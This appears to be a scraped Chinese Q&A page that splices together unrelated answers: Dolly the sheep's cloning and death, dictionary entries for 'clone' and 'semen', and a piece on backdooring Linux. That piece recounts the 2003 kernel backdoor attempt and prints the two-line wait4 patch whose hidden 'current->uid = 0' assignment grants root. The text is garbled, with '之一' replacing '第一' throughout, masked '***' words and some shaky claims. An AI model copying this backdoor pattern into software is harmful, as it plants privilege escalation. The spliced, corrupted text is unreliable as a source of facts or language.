cloned,之一只克隆羊多利是怎么死的?
谢邀。
克隆羊的问世曾经震惊了全世界,这代表着人类在基因的研究上取得了重大的突破。其实,多利羊只是人工克隆技术下的第三种动物。下面我们就来详细的来看一下,多利羊是怎么死的?以及人工克隆技术下的动物们。
多利羊的“前世今生”“前世”
多利是一只人工克隆的绵羊,它是由苏格兰罗斯林研究所和PPL Therapeutics生物技术公司的伊恩·威尔穆特和基思·坎贝尔领导的小组与1996年培育成功的,取的一只雌性绵羊身上的乳腺细胞,再通过细胞核移植技术培育出的一个完整的生命体。
这是无性繁殖中比较成功的一例,多利的诞生有着极其复杂的过程,它的诞生历经了三种重要的阶段。
之一阶段就是母体细胞的选在,研究人员选择了一只6岁的怀孕母羊,取出了乳腺细胞,这是之一阶段。
第二阶段,研究人员选取了另一只绵羊的未受精的卵细胞,然后将卵细胞的细胞核去除掉,最后将取出的乳腺细胞放入到去掉细胞核的卵细胞当中,再用科学技术***两者融合。
第三阶段就是将结合完的卵细胞放入试管中,使其发育成为胚胎,最后再将发育到一定阶段的胚胎放入第三只母羊的***内进行发育。最后成功分娩。
这就是多利羊的“前世”。
“今生”
1996年7月5日,多利羊成功分娩,它的降世成为了世界瞩目的焦点,因为这很可能会解开克隆人的“密码”。在两年后,多利成功与一只威尔士山羊结合,并生下了一只后代,至此以后,在99年、00年两年之间,多利又陆续生下了5只后代。至此,多利羊一共生育了6只小羊。
但是好景不长,在2001年, 多利就开始饱受病痛的折磨,首先是关节炎,之后是肺炎等等一系列的疾病。终于,在2003年2月14日,之一只克隆羊多利离开了这个世界。
一般情况下,羊的平均寿命在12年左右,但是从诞生到死亡,多利仅存活了不到7年,而且还是在相对悉心的照顾之下。
多利“早死”之谜关于多利之死,科学界有两个比较大的呼声,一个就是多利的基因端粒比较短(端粒、着丝粒和***原点是染色体保持完整和稳定的三大要素),这造成了多利的早衰现象;另一个说法是,多利之所以会不到7年死亡,原因是克隆技术的不完善。
之后,在2007年,科学家们以多利羊同样的克隆技术,克隆成功了4只绵羊,这些绵羊一直生活了10年,并没有出现任何早衰的现象,它们的关节病的发病率和部位也与其他的羊没有什么区别。
但是,在2017年的《科学》杂志上,有一篇权威的报道称:多利是正常死亡,而非此前认为的患早发性骨关节炎,研究表明其骨关节炎患病率和分布情况与其他普通或克隆绵羊并无差异。
至于多利为什么会“早死”?在我看来,克隆技术就算在24年后的今天都不够完善和成熟,所以,我认为克隆技术的不稳定性是导致多利之死的主要原因。
相信随着科学技术的发展和进步,克隆技术终将会向着能被人完全掌握的目标迈进的。
(于07年被成功克隆的四只羊)
为什么说多利是第三种被克隆的动物呢?早在多利被克隆之前,克隆技术在科学界就不陌生,而且中国对于克隆的技术的研究比多利的克隆早了整整早了33年。下面是从1952年到1996年,人们克隆动物的记录:
1952年,罗伯特·布里格斯和托马斯·J·金成功地克隆了北方豹蛙:完成了35个完整的胚胎和27只蝌蚪中104个核转殖成功。1963年,中国科学家童第周将一只雄性鲤鱼DNA植入到来自雌性鲤鱼的卵成功克隆了一只雌性鲤鱼。但由于相关论文是发表在一本中文科学期刊,并没有翻译成英文,所以并不为国际上所知晓。1996年,就是多利羊的问世。也就是说,至少从66年前开始,人类就已经涉足并且成功克隆过动物。从克隆物种的房展方向看,就是从小到大的一个过程。我相信随着克隆技术的成熟和完善,克隆出人也不是什么困难事。
总结多利羊的诞生曾经震惊过全世界,但是随着多利羊的死亡,一些质疑声也越来越大。但是这并没有停止人类对克隆技术的追求,相信在不远的将来,克隆人必定会像当年的多利羊一样震惊世界。
如果可以克隆人,你愿意被克隆吗?
参考资料: McLaren A. Cloning: pathways to a pluripotent future. Science. 2000, 288(5472): 1775–80. PMID 10877698. doi:10.1126/science.288.5472.1775.^ Wilmut I, Schnieke AE, McWhir J, Kind AJ, Campbell KH. Viable offspring derived from fetal and *** mammalian cells. Nature. 1997, 385 (6619): 810–3. Bibcode:1997Natur.385..810W. PMID 9039911. doi:10.1038/385810a0.^ Edwards, Jeanette. Why Dolly Matters: Kinship, Culture, and Cloning.. Journal of Anthropology. November 1999.^ Is Dolly old before her time?. BBC News (London). 1999-05-27[2009-10-04].^ Lehrman, Sally. No More Cloning Around. Scientific American. July 2008[2008-09-21].^ 6.0 6.1 1997: Dolly the sheep is cloned. BBC News. 1997-02-22.^ Nigel Williams. Death of Dolly marks cloning milestone. Current Biology: R209–R210. [2018-04-02]. doi:10.1016/s0960-9822(03)00148-9.^ Edwards, Jeanette. Why Dolly Matters: Kinship, Culture, and Cloning. Ethnos: Journal of Anthropology. November 1999.Wikipedia:Dolly、Clonecloning和clone的区别?
cloning:
n. 克隆
v. 无性繁殖(clone的ing形式)
The paper provides a detailed description of how to create human embryos by cloning.
这篇论文对如何通过克隆制造人类胚胎提供详细的描述。
clone:
n. 克隆;无性系;无性繁殖;靠营养生殖而由母体分离繁殖的植物
vt. 无性繁殖,***
The sheep was cloned by scientists.
这只羊是科学家克隆出来的。
如何在Linux系统中安装个后门?
看到这个问题,我的脑海里就浮现了之前看到的两则故事,一则是跟Linux作者Linus有关,他的这个故事严格意义上并不是一个后门,但是确实在Linux系统里面安插了“私货”;另外一个故事是真的在Linux源码中安插了后门,而且差一点成功了。
故事一:Linus在Linux中安插“私货”如果你对Linux代码还算比较熟的,应该就知道下面截图的是系统调用SYSC_reboot接口的代码。
代码中有一段校验Magic Number(魔数)的代码,上面的注释是:“For safty, we require "magic" arguments.”
哇塞!说的多么“冠冕堂皇”啊,为了安全,好像不做一下校验就很不严谨似的。
接着看看那几个比较的宏是干嘛的:
嗯?!之一个参数貌似很有意思,像英文的“feeldead”,感觉要死了,可不是么系统马上要重启了。但貌似除了这之一个参数的魔数,第二个参数要比较的魔数都没什么特别的意思嘛。
神奇的事情来了,把这几个魔数转成16进制:
0x28121969
0x5121996
0x16041998
0x20112000
看着像什么?有点像是日期啊,答对了!
之一个是Linus大神的生日1969年12月28日,第二个是Linus的大女儿的生日1996年12月5日,第三个是Linus的二女儿的生日1998年4月16日,最后一个零零后是Linus的小女儿剩余2000年11月20日。
Linus这是在Linux代码中公然夹带私货啊!换句话来说,要想成功调用reboot API,那么前两个参数必须严格按如下规则填写:
之一个参数必须是0xfee1dead。 在Linus大神的大女儿Patricia出生之前,第二个参数能且只能是0x28121969,也就是大神的生日。 当Linus有了大女儿Patricia后,第二个参数也可以是Patricia的生日0x5121996。这样说有点不精确,精确的说法是从Linux内核2.1.17版本开始,第二个参数也可以是0x5121996。查阅kernel.org上的内核发布历史,2.1.17应该发布于1996年12月22日。可以想见,Linus大神在喜得爱女的几天内就修改了内核代码,然后在女儿满月之前把把这个代码发布给世界了。当Linus有二女儿后,第二个参数也可以是二女儿的生日。 当Linus有了小女儿后,第二个参数也可以是小女儿的生日。Linus大神把这些有意义的魔数写入Linux内核中,而且使它们称为系统调用的一部分,也就是说只要Linux还在,只要Linux还运行,这些数字将在全世界各地流淌。全世界的Linux应用程序开发者都将使用这些魔数才能正确调用重启接口,而且考虑到前向兼容性,这些数字是不会被轻易更改或者去除的。幸运的是,只要你系统不重启,Linus的诡计就不能得逞,机智!
故事一的创作来源于格友公众号的文章:雕刻在LINUX内核中的LINUS故事:
https://blog.csdn.net/PCb4jR/article/details/81518695
。原文要比我写的精彩,我只是把切题的部分摘出来了,它涉及很多有趣细节,感兴趣的建议去看一下完整版。
故事二:惊天黑客Linux插入后门记Linux内核是开源代码界可以说是最著名的标杆项目,全世界无数双最顶尖的程序员的眼睛都盯着,正是基于此开源世界宣传开源软件比专有软件更安全,那能不能向其中安插一个后门呢?虽然这是一件难度极高的事情,但有人差一点做到了,是怎么回事呢?
在正式说之前,我们必须要了解一些背景知识。
2002年2月,Linux之父Linus Torvalds决定使用BitKeeper工具来管理Linux内核代码主线(mainline)。利用版本控制工具,我们可以记录每次代码修改的差异,代码修改的提交人信息,修改原因和其他信息,这对于软件开发来说是一个很重要的事情。一开始Linus对BitKeeper评价很高,他认为是“The best tool for the job”。
BitMover是BitKeeper的开发厂商,其创始人和CEO是Larry McVoy,这个人也很热衷于开源事业的发展。Larry期望BitKeeper能帮助Linus 免于陷入不断加重的Linux内核管理工作中--事实上,自从Linus 开始使用BitKeeper之后,Linux的开发步伐加快了两倍。
BitMover授权Linux开发者不用付费就能使用这个工具--前提是这样一个协议:这个免费工具的真正使用者不能同时开发其竞争产品。换句话说,这个工具可以免费 使用(freely used),不过不能被自由克隆(freely cloned)。事实上,BitMover开发维护了两个BitKeeper版本,一个免费的授权给Linux开发者使用开发Linux,另一个是商业产品需要购买,但BitKeeper其实也不亏,因为它的商业模式就是授权给开源开发者使用吸引那些付费用户,相当于整个Linux开发团体给这个产品做了背书。当然这两个版本都是BitMover的知识产权。
扯的原了,书回正传。
2003年Linux源码主拷贝存储在BitKeeper中,如果开发者想往Linux代码中提交一个修改,需要走一个审批流程,以此来确定这次更改能否被接受。每一次更改都有一个简单的说明,其中包含一个指向审批记录的链接。但是有些人不喜欢BitKeeper,于是BitMover的一些人(在Larry McVoy的指示下)建立一个单独的CVS仓库,这个仓库包含了当前完整的Linux代码以及全部的修改记录,这样的话不喜欢用BitKeeper的开发者就可以从CVS仓库中获取代码,CVS代码拷贝实际上是BitKeeper代码的一个直接克隆。因此,CVS仓库不是新修改提交代码的地方,当然,当有人试图往CVS中推送一些修改的时候,Larry McVoy能之一时间注意到。
故事就发生在这个CVS仓库中。
2003年11月5号,Larry McVoy 注意到了一件怪事,CVS中的一个代码变更没有包含审批记录的链接, 这是怎么回事?
经过一番调查发现:从来没有人批准过这个代码变更,奇怪的是,这个代码变更并没有出现在BitKeeper主仓库中,原来是有人黑进了CVS的服务器,偷偷插入了一段代码。这段代码到底做了什么事情呢?
这段代码修改了一个叫做wait4的Linux函数,程序可以使用wait4来等待一些事情的发生,这个代码变更增加了这么两行:
+ if ((options == (__WCLONE | __WALL)) && (current->uid = 0))
+ retval = -EINVAL;
不仔细看,这段代码并没有什么特别,只是做一下条件检查,不满足的话就返回错误码。
但仔细一看"current->uid=0"是一个赋值语句啊!也就是说在用户态调用wait4函数,条件随便写一个满足“options == (__WCLONE | __WALL)”的,"current->uid=0"会立马被执行。current->uid赋值为0意味着用户ID被改成了0,也就拿到了root权限,那么在系统中可以想干什么就干什么了。
幸运的是,这样一个后门被Linux团队敏锐的发现了,虽然它只是在CVS代码库中,但是危险性不容小觑。
首先,后门存在CVS中,不在BitKeeper的主仓库中,从BitKeeper 代码库Build出的Linux肯定没问题, 但是如果有人从CVS代码库中build了Linux, 那就中招了。其次,搞破坏的家伙可能有这样的预期:有个被Linus Torvalds所信任的内核开发者,他讨厌BitKeeper,并且在使用CVS, 那当他修改了代码,准备通过邮件的方式向Linus Torvalds发送patch的时候发现,咦,wait4这里也有个code change, 是做条件检查的,也包括进去吧。Linus收到补丁,一看是自己信任的兄弟提交的,没有仔细检查,于是后门代码进入了主代码仓库。 那么后果不堪设想!
故事二的创作来源于码农翻身公众号的文章:如何在Linux中安插一个后门?
:
https://blog.csdn.net/coderising/article/details/100682413
。并在此基础上结合另外三篇文章做了再整理创作:https://lwn.net/Articles/57135/
https://blog.csdn.net/glory1234work2115/article/details/51277402
https://freedom-to-
tinker.com/2013/10/09/the-linux-backdoor-attempt-of-2003/
番外:
Linux使用BitKeeper做开发管理,但有人不乐意了,为什么呢?因为BitKeeper是一个非开源但是有条件免费的版本控制工具,而Linux是开源软件的标杆产品,用一个闭源软件来管理开源软件,就有“政治不正确”,心里也膈应。但是在当时,确实也没有哪个自由软件/开源软件工具具有BitKeeper那样的功能--它提供了真正的分布式开发能力,所以又不得不用。
虽然有协议要求“这个免费工具的真正使用者不能同时开发其竞争产品”,但是还是有人不断的试图反向工程BitKeeper,多次这样的举动引起了BitMover的注意和警告,最终导致了BitMover决定终 止结束免费BitKeeper产品的开发和应用。
没有了免费的BitKeeper,Linus大神自己在短短几个星期里面撸了一个版本管理软件git,更厉害的是他大概花一天的时间就让Git能达到自己管理自己的程度(self-hosting),之后就开始用Git提交Git的程序代码了。多年以后,Github代码托管平台在开源界横空出世,被称为程序员的社交平台,它的底层就是Git。目前Linux也将代码托管在Github上,真是令人感慨啊。
semen是什么?
semen,英语单词,主要用作名词,作名词时译为“***;***”。双语例句
根据《柯林斯英汉双解大词典 》:
N-UNCOUNTSemen is the liquid containing sperm that is produced by the sex organs of men and male animals. ***
双语例句
If thawed semen is used, it has to be injected directly into the uterus through the ewe's belly wall.
如果使用解冻的***,它必须通过母羊的腹壁直接注入***。
A human study has found strong links between BPA levels and semen quality, and the findings are not looking good.
现在,一项人类研究发现了双酚A含量和男性***质量之间有密切关联,结果并不乐观。
The international trade in semen and embryos from cloned animals created in north and south America and beyond was effectively impossible to police.
在北美,南美以及其他一些地方生产的***和克隆动物胚胎,其在国际范围内的交易已经无法加以有效监管。
克隆羊的事例说明了什么道理?
克隆羊多利是世界上之一只用已经分化的成熟的体细胞(乳腺细胞)克隆出的羊。这项研究不仅对胚胎学、发育遗传学、医学有重大意义,而且也有巨大的经济潜力。克隆技术可以用于器官移植,造福人类;也可以通过这项技术改良物种,给畜牧业带来好处。克隆技术若与转基因技术相结合,可大批量“***”含有可产生药物原料的转基因动物,从而使克隆技术更好地为人类服务。目前,世界之一批无性繁殖的转基因羊也在英国诞生。中文名
克隆羊
外文名
Cloned sheep
相关学科
胚胎学、发育遗传学、医学
名字
多利
出生日期
1996年7月5日
出生地点
英国爱丁堡市罗斯林研究所
创造者
伊恩·维尔穆特及其领导的小组
编号
6LL3
意义
对胚胎学、发育遗传学、医学有重大意义